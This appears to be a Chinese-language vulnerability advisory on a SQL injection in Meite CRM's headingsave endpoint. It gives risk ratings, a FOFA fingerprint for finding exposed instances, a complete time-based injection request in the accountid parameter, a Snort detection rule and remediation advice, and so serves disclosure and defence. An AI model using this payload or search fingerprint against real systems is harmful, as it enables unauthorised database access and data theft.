

美特CRM headingsave 存在SQL注入漏洞

美特CRM headingsave 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

美特CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/common/scripts/basic.js"

POC/EXP：

```
GET /headingsave?accountid=1'+AND+(SELECT+*+FROM+(SELECT+SLEEP(5))X)--+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Meite CRM - Time-Based SQLi in headingsave";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/headingsave"; http_uri;
  content:"accountid="; http_uri;
  pcre:"/accountid=[^&]*'[\s\S]*?(SELECT\s+SLEEP\(\d+\))/i";
  metadata:service http;
  metadata:affected_product "美特CRM";
  metadata:vulnerability_type "Time-Based SQL Injection";
  classtype:sql-injection;
  sid:1000254;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。